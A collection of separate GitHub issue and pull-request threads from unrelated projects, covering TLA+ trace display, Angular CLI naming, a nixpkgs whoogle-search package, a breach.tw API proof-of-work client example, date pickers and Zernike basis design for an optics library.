Error-trace shows a bag (multiset) like a sequence

---- MODULE Braf ----
EXTENDS Bags, Naturals

VARIABLE x, y

Init ==
    /\ x = [ k \in {<<"a", "b">>, <<"b", "c">>} |-> 1 ]
    /\ y = 1

Next ==
    /\ UNCHANGED x
    /\ y' = y + 1

Inv ==
    y < 2

====
---- CONFIG Braf ----
INIT Init
NEXT Next
INVARIANT Inv
====

------ MODULE Traces -----

EXTENDS Naturals

VARIABLES x

Init ==
    x = 0

Next ==
    x' = 1

Inv ==
    x = 0

Alias ==
    [
        x |-> x
        , seq |-> <<4,5,6>>
        , seq2 |-> << <<4,5>>, <<5,6>>, <<6,7>> >>
        , s2f |-> << [ s \in {"d","c"} |-> <<s, "c">>], [ s \in {"e","f"} |-> 42] >>
        , fun |-> [ i \in 0..2 |-> i * 2 * x]
        , fn2f |-> [ i \in 0..2 |-> [ j \in 0..2 |-> j * i * 2 * x]]
        , s2n |-> [ s \in {"a","b"} |-> 42]
        , f2s |-> [ s \in {"a","b"} |-> <<s, "c">>]
        , f2f |-> [ s \in {"a","b"} |-> [ i \in {3,5,7} |-> i * 2]]
        , seq2n |-> [ k \in {<<"a", "b">>, <<"b", "c">>} |-> 23 ]
        , seq2s |-> [ k \in { {8,9}, {10,11}} |-> "ab" ]

        , seq2f |-> [ k \in { [{"a","b"} -> {TRUE}]} |-> "ab" ]
        , seq2f2 |-> [ k \in [{"a","b"} -> {TRUE, FALSE}] |-><< "ab", "de">> ]
    ]

=======
----- CONFIG Traces -----
INIT Init
NEXT Next
ALIAS Alias
INVARIANT Inv
======

Previous fix: https://github.com/tlaplus/vscode-tlaplus/issues/61

https://github.com/tlaplus/vscode-tlaplus/issues/61

------ MODULE Traces -----

EXTENDS Naturals

VARIABLES x

Init ==
    x = 0

Next ==
    x' = 1

Inv ==
    x = 0

Alias ==
    [
        x |-> x
        , seq |-> <<4,5,6>>
        , seq2 |-> << <<4,5>>, <<5,6>>, <<6,7>> >>
        , s2f |-> << [ s \in {"d","c"} |-> <<s, "c">>], [ s \in {"e","f"} |-> 42] >>
        , fun |-> [ i \in 0..2 |-> i * 2 * x]
        , fn2f |-> [ i \in 0..2 |-> [ j \in 0..2 |-> j * i * 2 * x]]
        , s2n |-> [ s \in {"a","b"} |-> 42]
        , f2s |-> [ s \in {"a","b"} |-> <<s, "c">>]
        , f2f |-> [ s \in {"a","b"} |-> [ i \in {3,5,7} |-> i * 2]]
        , seq2n |-> [ k \in {<<"a", "b">>, <<"b", "c">>} |-> 23 ]
        , seq2s |-> [ k \in { {8,9}, {10,11}} |-> "ab" ]

        , seq2f |-> [ k \in { [{"a","b"} -> {TRUE}]} |-> "ab" ]
        , seq2f2 |-> [ k \in [{"a","b"} -> {TRUE, FALSE}] |-><< "ab", "de">> ]
    ]

=======
----- CONFIG Traces -----
INIT Init
NEXT Next
ALIAS Alias
INVARIANT Inv
======

I ran out of time!  Any takers to update/refactor the now-removed tests in https://github.com/tlaplus/vscode-tlaplus/commit/1d9161c7cbb99a40682f14446aabf71c237cafbf#diff-5ad2ff4a54440bf2b50b351c7d6092744831ab604bc4f3cbbda8757029a50b1b?

The extension has only limited support for TLA+ functions, i.e., the domain (ValueKey) of its StructureValue can only be string or numeric.  However, the domain may be any value in TLA+.

It's impossible to see which elements have been added with bags:

@afonsonf Would it be possible to highlight the added elements of a set in addition to adding the "A" label?

This seems fixed in the latest version:

Or is anything else missing?

Here's a screenshot of the same trace in both IDEs. If I recall correctly, Toolbox does a better job of highlighting added, removed, or modified values within deeply nested structures. However, I don't have time to reproduce that scenario right now. There may be existing Toolbox tests that cover this functionality.


Editing or deleting labels.

Currently labels can be added, but not edited or deleted. This can be solved through nuking the entire database, but perhaps more user-friendly approaches are possible?

Labels can now be edited or deleted.


civil-2454-add-staff-profile-in-ccd-config

JIRA link (if applicable)
https://tools.hmcts.net/jira/browse/CIV-2454
Change description
To implement work allocation, amendments and additions that need to be made to the CCD configuration file.
Additional roles which need to be added are staff roles for the Legal Advisor and Hearing Admin (Listing Officer).
Does this PR introduce a breaking change? (check one with "x")
[ ] Yes
[ ] No

stale


Reviewers are automatically assigned to submissions

Weird bug...
I submitted a few new submissions to test. These submissions automatically assigned reviewers in 'Need Screening' unprompted
As secondary buggy thing is that the system selected Bernard and Tom Saunders again and again even though there are several AC reviewers associated with this fund. Does the system have a thing for UX designers?
Only submissions from this fund https://test-apply.hypha.app/admin/pages/921/edit/ were impacted -- maybe it's an edge case?
https://test-apply.hypha.app/apply/submissions/502/
https://test-apply.hypha.app/apply/submissions/500/
https://test-apply.hypha.app/apply/submissions/499/
This bug did NOT appear when I submitted applications to this fund https://test-apply.hypha.app/admin/pages/731/edit/
https://test-apply.hypha.app/apply/submissions/501/
Priority
Low

External (AC) reviewers that are selected on the Fund are automatically assigned to each new submission, that is how it is supposed to work.

I'm closing this issue because the behavior only appears on test.
External (AC) reviewers should not be assigned at the 'Need Screening' workflow status.
https://test-apply.hypha.app/apply/submissions/502/

External reviewers that are added to the Fund are automatically assigned to all submissions that are submitted for that Fund. This is how it has worked from day one.


surface authentication errors from native tool

With most of the update work being performed in C#, we need a mechanism to surface errors encountered.  This PR adds 2 fields to the output JSON, ErrorType and ErrorDetails.  Those values are then examined when the output JSON is processed and the relevant error is raised.
The bulk of this PR can be described in two changes:

Wrap calls to NuGet APIs and catch HttpRequestException with codes 401 or 403 and set the appropriate fields.

When we're starting an external process, we instead scrape the output for a known string and turn that into HttpRequestException to be caught further up the call stack.

Any time the Ruby code processes an output JSON file, check for ErrorType and raise, otherwise continue execution as normal.

The design allows future work of detecting and surfacing other error types, but for now only PrivateSourceAuthenticationFailure is handled, because that's a really common one.

Going to deploy the PR.


Proposal: rename

angular-cli suggests a command-line interface. However, we intend this tool will also serve as the backend for IDE/editor frontends which create or update your angular project. This could cause some confusion, or vendors may hesitate to use it for that purpose.
I think we should either:

pick a neutral name for this project, like 'angular-tool' or something better
split this project into a thin CLI frontend, and a separate backend which can be reused by vendors

I prefer the latter as it's extra-explicit, but it might cause us more work/releases.

Happened to discuss with Brad, he agrees and also prefers the latter option

I also agree with the latter option. This is a pretty common pattern in the node world anyways. Having a library module that provides functionality and a dedicated cli module that uses the lib under the hood.
However, I still thing this thing should get a proper name then angular-tool sounds a bit too generic to me.

+1 to the latter option.
IMHO angular-cli and angular-backend would be great names.

We tentatively decided on angular-toolkit and angular-cli ... Sound good?
On Wed, Jul 29, 2015, 5:05 AM Ciro Nunes<EMAIL_ADDRESS>wrote:

+1 to the latter option.
IMHO angular-cli and angular-backend would be great names.
—
Reply to this email directly or view it on GitHub
https://github.com/angular/angular-cli/issues/15#issuecomment-125931136.

Yeah! Pretty good. :smile:

Love it.
On Wed, Jul 29, 2015, 3:52 PM Ciro Nunes<EMAIL_ADDRESS>wrote:

Yeah! Pretty good. [image: :smile:]
—
Reply to this email directly or view it on GitHub
https://github.com/angular/angular-cli/issues/15#issuecomment-125959218.

I created the angular-toolkit project on github. Next step is to start some coding there and pull across the implementations, leaving a protocol in the middle for the angular-cli to call.

This requires more work and coordination. I'll close this for now, but @alexeagle would you like to meet to discuss this? I'm open to starting contribution to the toolkit after ng-conf (which is a deadline for the CLI).

Love the semantic names.


Changing wordcloud in Topic Mapper sample size broken (Cannot read property 'sample_size' of undefined)

I changed the sample size in the wordcloud to 10,000 stories and get the following error in the console:
app_js.67453731.js:147152 Uncaught TypeError: Cannot read property 'sample_size' of undefined
    at fetchData (app_js.67453731.js:147152)
    at SampleSize.setSampleSize (app_js.67453731.js:75503)
    at onViewSampleSizeClick (app_js.67453731.js:75525)
    at onClick (app_js.67453731.js:65392)
    at Object.ka (app_js.67453731.js:190101)
    at qa (app_js.67453731.js:190101)
    at ra (app_js.67453731.js:190102)
    at wa (app_js.67453731.js:190102)
    at Aa (app_js.67453731.js:190103)
    at ya (app_js.67453731.js:190103)
    at Ba (app_js.67453731.js:190103)
    at Kd (app_js.67453731.js:190167)
    at hb (app_js.67453731.js:190371)
    at Qd (app_js.67453731.js:190169)
    at Hc (app_js.67453731.js:190170)
    at Pd (app_js.67453731.js:190170)
    at exports.unstable_runWithPriority (app_js.67453731.js:190413)
    at fg (app_js.67453731.js:190206)
    at fb (app_js.67453731.js:190371)
    at Nd (app_js.67453731.js:190168)
    at HTMLDocument.wrapped (app_js.67453731.js:197243)

Got it!


Add aliyun config api types

The PR contains changes needed to facilitate Alibaba Cloud support for cloud-credential-operator

cc @deads2k @bparees , thanks

/approve
but i assume this isn't going into 4.8, right?
/hold

but i assume this isn't going into 4.8, right?

Yes, I think so

ok.  we'll have to wait until 4.9 branch cut is done to lift the hold, then.

ok. we'll have to wait until 4.9 branch cut is done to lift the hold, then.

got it, thanks

@bparees  this hold a long time, please review again when you free, thx!
/remove-lifecycle stale

Duplicate with #970 , close this one


Sign-in to setting sync error

When trying to sync settings in VS-Code with Microsoft it throws error saying Writing login information to the keychain failed with error 'The stub received bad data. '.

related to #108411


Need some example CLI clients for #15

Need some example CLI clients for #15
Single file scripts are ideal

[ ] Python
[ ] Ruby
[ ] Node.js
[ ] PHP
[ ] Shell Script

There will be a new orphan branch for this
Below is the example code for calculate nonce in Python
import hashlib

be = 'hash'
nonce = 0
diff = 5

while 1 :
	x = be + str(nonce)
	if hashlib.sha1(x).hexdigest()[:diff] == 'a' * diff :
		print("done",x,nonce,hashlib.sha1(x).hexdigest()[:diff])
		break
	else :
		nonce = nonce + 1

BTW, the api address is
https://breach.tw/api/search.php?mode=pow&hash=xxxxxxxxxxxxxxxxxxxx&nonce=123456

The name of the branch is example_api_clients

node.js version done https://github.com/seadog007/breach.tw/pull/22

python version done https://github.com/seadog007/breach.tw/pull/23

php version done #32

go version done #35

Should be good

C++ version in #36


Inference limitation in latest dev Typescript

I'm wondering what's the actual impact of this and if anyone experience some new false positive compilation; please share here your findings.
https://github.com/Microsoft/TypeScript/pull/27225

Had no problem, closing it, reopen on need


whoogle-search: create new package

Description of changes
A self-hosted, ad-free, privacy-respecting metasearch engine.

https://github.com/NixOS/nixpkgs/issues/167245
https://github.com/benbusby/whoogle-search

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[X] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[x] (Module addition) Added a release notes entry if adding a new NixOS module
[x] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Hello,
could somebody help me with the testing? I am trying to build the whoogle-search package locally, but I am getting following error:
$ nix-build -A whoogle-search
error: Function called without required argument "attrs" at /home/user/nixpkgs/pkgs/applications/networking/whoogle-search/default.nix:6, did you mean "attr", "ants" or "ats"?

What am I doing wrong?

You probably need to use a callPackage that is specialised for python, eg. python3Packages.callPackage

You probably need to use a callPackage that is specialised for python, eg. python3Packages.callPackage

Thank you for you reply! When I build the package, everything seems to be working fine and without errors:
cd pkgs/applications/networking/whoogle-search/
nix-build -E 'with import <nixpkgs> {}; pkgs.python3Packages.callPackage ./default.nix {}'
...
ls -alh result/bin
total 20K
dr-xr-xr-x 2 root root 4.0K Jan  1  1970 .
dr-xr-xr-x 5 root root 4.0K Jan  1  1970 ..
-r-xr-xr-x 1 root root 3.2K Jan  1  1970 whoogle-search
-r-xr-xr-x 1 root root 6.0K Jan  1  1970 .whoogle-search-wrapped

But I would like to also test the nixos/modules/services/networking/whoogle-search.nix module.
I currently do the development on Archlinux with just Nix package manager installed. Is it even possible to test the Nix module without actually running the NixOS?

Is it even possible to test the Nix module without actually running the NixOS?

You could use the testing facilities that the module system provides (uses KVM) or just fire up a nixos VM on your own.

Hello,
is any action needed from my side? Or when this MR is going to be merged?
Thank you!
Ota

Hello @SuperSandro2000, could you please review so we can merge this one? Thank you!

Hello @SuperSandro2000 @FliegendeWurst ,
is there anything I can do more to merge this PR ?

I think we can merge this after the commit follows the contributing guide. There should be one commit for each of the following changes: the package, nixos module and maintainer addition.

Hello,
I've splitted the changes into three commits. Is it ok? The ofborg-eval completed with some errors but I do not know if they are somehow relevant.
Thanks

Hello @SuperSandro2000,
is there ETA when this is going to be merged? Or is there anything more I can do? I am starting to be little bit tired of solving merge conflicts in changelogs.
Thanks.

I would love to see this get merged.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-in-distress/3604/59

Is there anything I can do to help move this along ?

Ping me when you are ready for a review.

Ping me when you are ready for a review.

Hello @doronbehar,
you can take a look at whoogle-search package.
The whoogle-search module is probably not ready yet. I need to figure out how can I test the module in my NixOS testing VM. I forget how I was testing it before :).
What is the easiest way to test it?
I have currently this code in my configuration.nix:
{ config, pkgs, ... }:
{
  imports = [
    ./hardware-configuration.nix
    "/root/nixpkgs/nixos/modules/services/networking/whoogle-search.nix"
  ];
  services.whoogle-search.enable = true;
  ...
  # other stuff
}

$ nixos-rebuild build
building Nix...
building the system configuration...
error: attribute 'whoogle-search' missing

       at /root/nixpkgs/nixos/modules/services/networking/whoogle-search.nix:58:20:

           57|         if [ ! -d '${cfg.dataDir}/static' ]; then
           58|           cp -r '${pkgs.whoogle-search}/${pkgs.python3.sitePackages}/app/static_runtime' '${cfg.dataDir}/static'
             |                    ^
           59|         fi
(use '--show-trace' to show detailed location information)

The /root/nixpkgs/ is my cloned repository (https://github.com/seberm/nixpkgs/tree/add-whoogle-search-pkg) which is checkouted to add-whoogle-search-pkg revision.
Thanks.

The whoogle-search module is probably not ready yet. I need to figure out how can I test the module in my NixOS testing VM. I forget how I was testing it before :).
What is the easiest way to test it?

Inside a proper Git Checkout, try:
nix-build -A nixosTests.whoogle-search

You can even ask ofborg to do it for you, via:
@ofbort test whoogle-search
(I just did that myself). I also checked out your fork and it seems the test succeeds to evaluate and run OK, though the logs are not clean:
machine # [    8.035551] whoogle-search[734]: Exception in thread Thread-1 (gen_bangs_json):
machine # [    8.039622] whoogle-search[734]: Traceback (most recent call last):
machine # [    8.046068] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/connection.py", line 174, in _new_conn
machine # [    8.049327] whoogle-search[734]:     conn = connection.create_connection(
machine # [    8.050646] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/util/connection.py", line 72, in create_connection
machine # [    8.052996] whoogle-search[734]:     for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM):
machine # [    8.055306] whoogle-search[734]:   File "/nix/store/95cxzy2hpizr23343b8bskl4yacf4b3l-python3-3.10.11/lib/python3.10/socket.py", line 955, in getaddrinfo
machine # [    8.057387] whoogle-search[734]:     for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
machine # [    8.058619] whoogle-search[734]: socket.gaierror: [Errno -2] Name or service not known
machine # [    8.060093] whoogle-search[734]: During handling of the above exception, another exception occurred:
machine # [    8.061617] whoogle-search[734]: Traceback (most recent call last):
machine # [    8.063172] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/connectionpool.py", line 703, in urlopen
machine # [    8.065616] whoogle-search[734]:     httplib_response = self._make_request(
machine # [    8.066806] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/connectionpool.py", line 386, in _make_request
machine # [    8.069287] whoogle-search[734]:     self._validate_conn(conn)
machine # [    8.070765] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/connectionpool.py", line 1042, in _validate_conn
machine # [    8.074518] whoogle-search[734]:     conn.connect()
machine # [    8.075550] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/connection.py", line 358, in connect
machine # [    8.078127] whoogle-search[734]:     self.sock = conn = self._new_conn()
machine # [    8.079469] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/connection.py", line 186, in _new_conn
machine # [    8.081459] whoogle-search[734]:     raise NewConnectionError(
machine # [    8.082595] whoogle-search[734]: urllib3.exceptions.NewConnectionError: <urllib3.connection.HTTPSConnection object at 0x7fa8e63a7fa0>: Failed to establish a new connection: [Errno -2] Name or service not known
machine # [    8.084872] whoogle-search[734]: During handling of the above exception, another exception occurred:
machine # [    8.086679] whoogle-search[734]: Traceback (most recent call last):
machine # [    8.088172] whoogle-search[734]:   File "/nix/store/27vh1wp127b0aw7k1yxq3bpvamx97zj6-python3.10-requests-2.29.0/lib/python3.10/site-packages/requests/adapters.py", line 487, in send
machine # [    8.090292] whoogle-search[734]:     resp = conn.urlopen(
machine # [    8.091775] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/connectionpool.py", line 787, in urlopen
machine # [    8.094480] whoogle-search[734]:     retries = retries.increment(
machine # [    8.095560] whoogle-search[734]:   File "/nix/store/nyz4n0vzawbgf86ckrr6hsgvda2d7i6i-python3.10-urllib3-1.26.14/lib/python3.10/site-packages/urllib3/util/retry.py", line 592, in increment
machine # [    8.097469] whoogle-search[734]:     raise MaxRetryError(_pool, url, error or ResponseError(cause))
machine # [    8.098575] whoogle-search[734]: urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='duckduckgo.com', port=443): Max retries exceeded with url: /bang.v255.js (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7fa8e63a7fa0>: Failed to establish a new connection: [Errno -2] Name or service not known'))
machine # [    8.101722] whoogle-search[734]: During handling of the above exception, another exception occurred:
machine # [    8.103320] whoogle-search[734]: Traceback (most recent call last):
machine # [    8.104527] whoogle-search[734]:   File "/nix/store/95cxzy2hpizr23343b8bskl4yacf4b3l-python3-3.10.11/lib/python3.10/threading.py", line 1016, in _bootstrap_inner
machine # [    8.107177] whoogle-search[734]:     self.run()
machine # [    8.108402] whoogle-search[734]:   File "/nix/store/95cxzy2hpizr23343b8bskl4yacf4b3l-python3-3.10.11/lib/python3.10/threading.py", line 953, in run
machine # [    8.110103] whoogle-search[734]:     self._target(*self._args, **self._kwargs)
machine # [    8.111412] whoogle-search[734]:   File "/nix/store/p31xsan6r13gn0xmnj4h2d85s0px43qh-whoogle-search-0.8.2/lib/python3.10/site-packages/app/utils/bangs.py", line 20, in gen_bangs_json
machine # [    8.114347] whoogle-search[734]:     r = requests.get(DDG_BANGS)
machine # [    8.115445] whoogle-search[734]:   File "/nix/store/27vh1wp127b0aw7k1yxq3bpvamx97zj6-python3.10-requests-2.29.0/lib/python3.10/site-packages/requests/api.py", line 73, in get
machine # [    8.117522] whoogle-search[734]:     return request("get", url, params=params, **kwargs)
machine # [    8.118633] whoogle-search[734]:   File "/nix/store/27vh1wp127b0aw7k1yxq3bpvamx97zj6-python3.10-requests-2.29.0/lib/python3.10/site-packages/requests/api.py", line 59, in request
machine # [    8.120370] whoogle-search[734]:     return session.request(method=method, url=url, **kwargs)
machine # [    8.121847] whoogle-search[734]:   File "/nix/store/27vh1wp127b0aw7k1yxq3bpvamx97zj6-python3.10-requests-2.29.0/lib/python3.10/site-packages/requests/sessions.py", line 587, in request
machine # [    8.127085] whoogle-search[734]:     resp = self.send(prep, **send_kwargs)
machine # [    8.127878] whoogle-search[734]:   File "/nix/store/27vh1wp127b0aw7k1yxq3bpvamx97zj6-python3.10-requests-2.29.0/lib/python3.10/site-packages/requests/sessions.py", line 701, in send
machine # [    8.130347] whoogle-search[734]:     r = adapter.send(request, **kwargs)
machine # [    8.131562] whoogle-search[734]:   File "/nix/store/27vh1wp127b0aw7k1yxq3bpvamx97zj6-python3.10-requests-2.29.0/lib/python3.10/site-packages/requests/adapters.py", line 520, in send
machine # [    8.133338] whoogle-search[734]:     raise ConnectionError(e, request=request)
machine # [    8.134360] whoogle-search[734]: requests.exceptions.ConnectionError: HTTPSConnectionPool(host='duckduckgo.com', port=443): Max retries exceeded with url: /bang.v255.js (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x7fa8e63a7fa0>: Failed to establish a new connection: [Errno -2] Name or service not known'))

Also CI is showing the service to build fine, even without my @ofborg call.

Looks like this bogged down again, but per comments and changes it sounds like it is close to the finish line? (I see one open query from Anderson, and I don't see an answer to Doron's comment about the stack traces in the log?)
@seberm You marked this as a draft back in May and didn't mark it as ready for review after you force pushed. Is that a sign that it still needs work, or did you just forget to set it back?

Hello @abathur,

You marked this as a draft back in May and didn't mark it as ready for review after you force pushed. Is that a sign that it still needs work, or did you just forget to set it back?

I think it still needs more work. As @doronbehar had wrote, last time I've checked there were still some errors/traces. Have you tested this PR? Is the service running fine for you?
Unfortunately I don't have time to finish it and test it. I am not motivated to do so because I don't use the whoogle-search project anymore. If anyone is willing to finish it, I can integrate the changes into this PR or we can create a new one.

I think it still needs more work. As @doronbehar had wrote, last time I've checked there were still some errors/traces.

That's fine. Thanks for clarifying where it stands.

Have you tested this PR?

I haven't, sorry. I'm just triaging PRs that have gotten bogged down to see if I can get them moving in the right direction. (In this case, I hoped you were done and Doron + Anderson just didn't realize it was ready for review again.)

Unfortunately I don't have time to finish it and test it. I am not motivated to do so because I don't use the whoogle-search project anymore.

No worries. Thanks again for the clarity.
I'm sorry the process with this PR has been so rocky, and just want to give you a general community thank-you for how attentive and responsive you've been here despite that trouble. (I'm glad to see you have a more recent PR that made it through to merge quickly.)

If anyone is willing to finish it, I can integrate the changes into this PR or we can create a new one.

@hmajid2301 You asked a few months back if there was anything you could do to help move this along--is picking up from here within the scope of what you had in mind? :)

From some reason when @seberm pushed changes I haven't got notified to retest and evaluate them, otherwise I would have responded. I too don't understand why is this marked as a draft, besides the small potential merge conflicts, this seems ready.

If @seberm doesn't use it anymore, they might not want to be a maintainer of this package either. So another maintainer would need to step up before this could get merged

Let's just close it and let the next interested person pick the patches and restart?

Now I notice OP is not interested in picking this up, so yes I agree.


How to publish data

Dear all,
after doing some steps:

host geojson data source at localhost:3000/areas.geojson
connect geojson source from maputnik
styling data
now i have areas.geojson and style.json
So what can i do next to show tile map on web
I try using leaflet but i don't know how. Please help me

So Maputnik creates mapbox-gl-js styles (see https://www.mapbox.com/mapbox-gl-js/style-spec/)
Follow this example https://www.mapbox.com/mapbox-gl-js/example/simple-map/ replacing style: 'mapbox://styles/mapbox/streets-v9' with the url to your stylesheet.

There hasn't been any activity in this ticket for a while, so closing the issue. If you need further help, add a command and we'll reopen the issue.


📅 Update default date picker with USWDS date picker

Related Issue or Background Info
Fixes #651
Question

What should be the default value for the timestamp in backdated results? currently, it's the time recorded

Changes Proposed
Updates default date picker used on scheduling events with the USWDS date picker from uswds-react (Truss)

Queue item
AOE form: Date of symptom onset + Date of most recent test

Screenshots / Demos

Checklist for Author and Reviewer
UI

[ ] Any changes to the UI/UX are approved by design
[ ] Any new or updated content (e.g. error messages) are approved by design

Testing

[ ] Includes a summary of what a code reviewer should verify

Changes are Backwards Compatible

[ ] GraphQL schema changes are backward compatible with older version of the front-end

I played around with this a bit and I do think it lets you add an onChange handler. The problem, though, is the Trussworks date picker doesn't let you select time. I assume we still need the time of the test and not just the date?

@nickscialli-usds when I asked if time was needed, @timbest-usds made it sound like it wasn't: https://github.com/CDCgov/prime-simplereport/issues/651#issuecomment-832685475 though may want to confirm if I'm reading that correctly

@maya hmm, that all the date's he's talking about don't actually include the date of the test that's administered, which I think is the only location we get date + time

Ah, got it. Looks like there are two date pickers in the AOE form, I can try to update those. And if you have any ideas about the date + time issue with this, lmk.

I replaced the date picker on the two AOE fields, but commented out the props it wouldn't let me use.

Added a time field (text input)

Use the time input which should default to a text input when not supported by the browser:

@maya It looks like your PR overwrites my commits and styles =)

em, no it does not work the same it's broken the style on mobile. I'll create another PR to return styles. NP
About patterns, agree, but it simplifies describing the blocks by using sass nesting.

It looks fine on mobile from my end. What are you seeing that's broken?

I do understand it makes that easier to code but have found it makes it difficult to find things, especially when working with many developers, fully writing it out is preferred.


Basis in the long term.

Hi all,
There has been a considerable amount of discussion recently about the Basis. This issue is going to be very long so don't try and read it all at once.
Unless certain assumptions are made about the aperture (often but not always true) the basis must be re-evaluated at runtime. The assumptions that I am referring to are the assumptions of the CircularAperture that is only aperture currently on main. This assumes that the edges of the aperture touch the edges of the wavefront perfectly. It works with the zernike_basis on main also which is a direct port of the POPPY implementation (cannot be jit compiled). This reduces the amount of information that we need to know about the system in order to generate the basis to just the number of pixels.
However, I think (this is an opinion that is not particularly well informed) that we need to have a more general routine for generating the zernike basis that can work on components that do not fit so neatly over the wavefront. I have spent a large amount of time working on this and have produced working code with a fair amount of help from @ataras2. The problem is that it is recomputed every pass, which depending on the resolution and the number of terms can take ~100ms to do. Unless we are learning large structural changes in the aperture like I have done with the HST I do not think that this re-computation is necessary. @benjaminpope agrees and is actually much more gun-ho going so far as to say that we don't need to recompute in )almost every)/every use case.
Regardless the code @ataras2 and I have produced can be jit compiled making it GPU friendly which should hopefully reduce the run-time since it is hand vectorized. I have also attempted to cache the basis vectors so that they are calculated on the first pass and then never again. Unfortunately jax/equinox does not permit the use of the @cached_property decorator from functools so the simple option cannot be used. The next attempt I made attempted to get around the immutability enforced by equinox by accessing the fields via the .__dict__ attribute. While this works it cannot be performed from within a traced function making it useless in this scenario.
At this point we had a meeting and discussed just having a hard-coded array of a finite number of the Zernike terms. This lead to the creation of a table of hard coded Zernike lambda functions. I am in the process of generalising this to write a function that takes a noll index and returns a jax.tree_util.Partial representing the corresponding Zernike. These "functional Zernikes" have the advantage of faster computation because the coefficients do not need to be calculated ahead of time. According to some early profiling done by @ataras2 and I this resulted in a tenfold increase in computation running on a GPU.
The orthonormalisation code does no harm and I would like to keep it in the off chance that it is useful. I think it has potential to improve the accuracy and if it is only the orthonormalisation that is happening without having to generate the Zernike from scratch each time then it is not actually too slow taking ~1ms to complete even for reasonably high resolutions. This was again done using @atras2's GPU and the performance is considerably worse on CPU.
So, now that you know the history and state of things at the moment, let us discuss what remains to be clarified.

Recalculation and learning.

This idea ties into the more general problem of static values. In some cases it is foreseeable that we will want to re-orthonormalise the basis. This would only occur if the aperture that it was associated with changed significantly. This is something that we would need to evaluate case by case. For example, if I am not mistaken the mirror in the HST is separate from the pupil. In this case we do not want to re-calculate the basis regardless of how the pupil changes because the mirror is not affected by changes in position of the aperture. For the JWST however, it is theoretically possible for the basis to need re-computation since the pupil consists of the mirrors. @benjaminpope has said that this will never happen however, I'm imagining a tilt event causing a noticeable sheer in one of the mirrors.
Whether or not we use this functionality it is something that is already available to us, so I think it is worth discussing and investigating.

What analytical tables should we include?

Here I am referring to the hard coded tables of basis functions. Zernikes are a must. Hexikes are something that we will need so we might as well hard code them as well. How about Squarikes ect. I imagine that it will just be these two but I thought that I would check.

The mirrors never shear significantly in JWST, so we don't need to worry about that. Hexikes are just coordinate remapped zernikes, so you can use your existing table of zernike polynomials and have a layer that pre-warps the coordinates.
I don't understand the 100ms. Base numpy can calculate a polynomial of a 1024*1024 meshgrid in ~ 1ms. It should be faster with jax and tree map.

I suppose we could get up to 100ms if we evaluate this many times to make a very large array of zernikes?

So all of this functionality can just be put into an appropriate file in the utils module, and I imagine most of this will want to live there anyway.
There are no real world problems we will encounter that will have apertures shapes changing anywhere near enough to warrant an a re-orthonormalisation.
I think we want two ways of interacting with these classes: Pre-calc'd zernike basis and run-time zernike basis. Hard-coding the polynomial functions is fine and they can be loaded into a list or dictionary and jax.tree_map can be used to perform the operation using vmap.

I suspect we want these different functionalities to exist as different classes to prevent classes being clogged up with extra parameters

@benjaminpope the ~100ms was a typo on my part. In the slack you will see @ataras2 and I timed it for the square aperture and it was ~10ms (7ms).

Oh good. That is pretty reasonable. Anything is fine for a dynamic feature of dLux so long as it takes ~ 10x less time than a typical Fourier transform.

I think the structure that I might implement will be something like.
class HardCodedLowOrderZernikeBasis(dl.OpticalLayer): # Very Fast
    def __init__(self, noll_indices: list, coeffs: list):
    def __call__(self, params: dict) -> dict:

class ArbitraryZernikeBasis(dl.OpticalLayer):
    def __init__(self, noll_indices: list, coeffs: list):
    def __call__(self, params: dict) -> dict:

class HardCodedLowOrderHexikeBasis(dl.OpticalLayer):
    def __init__(self, noll_indices: list, coeffs: list):
    def __call__(self, params: dict) -> dict:

class ArbitraryOrthonormalBasis(dl.OpticalLayer):
    def __init__(self, noll_indices: list, coeffs: list, aperture: Aperture):
    def __call__(self, params: dict) -> dict:

class ZernikeBasisAndCircularAperture(dl.OpticalLayer):
    def __init__(self, noll_indices: list, coeffs: list, aperture: Aperture):
    def __call__(self, params: dict) -> dict:

This is still just for single apertures. I haven't decided how I will cover compound apertures yet.

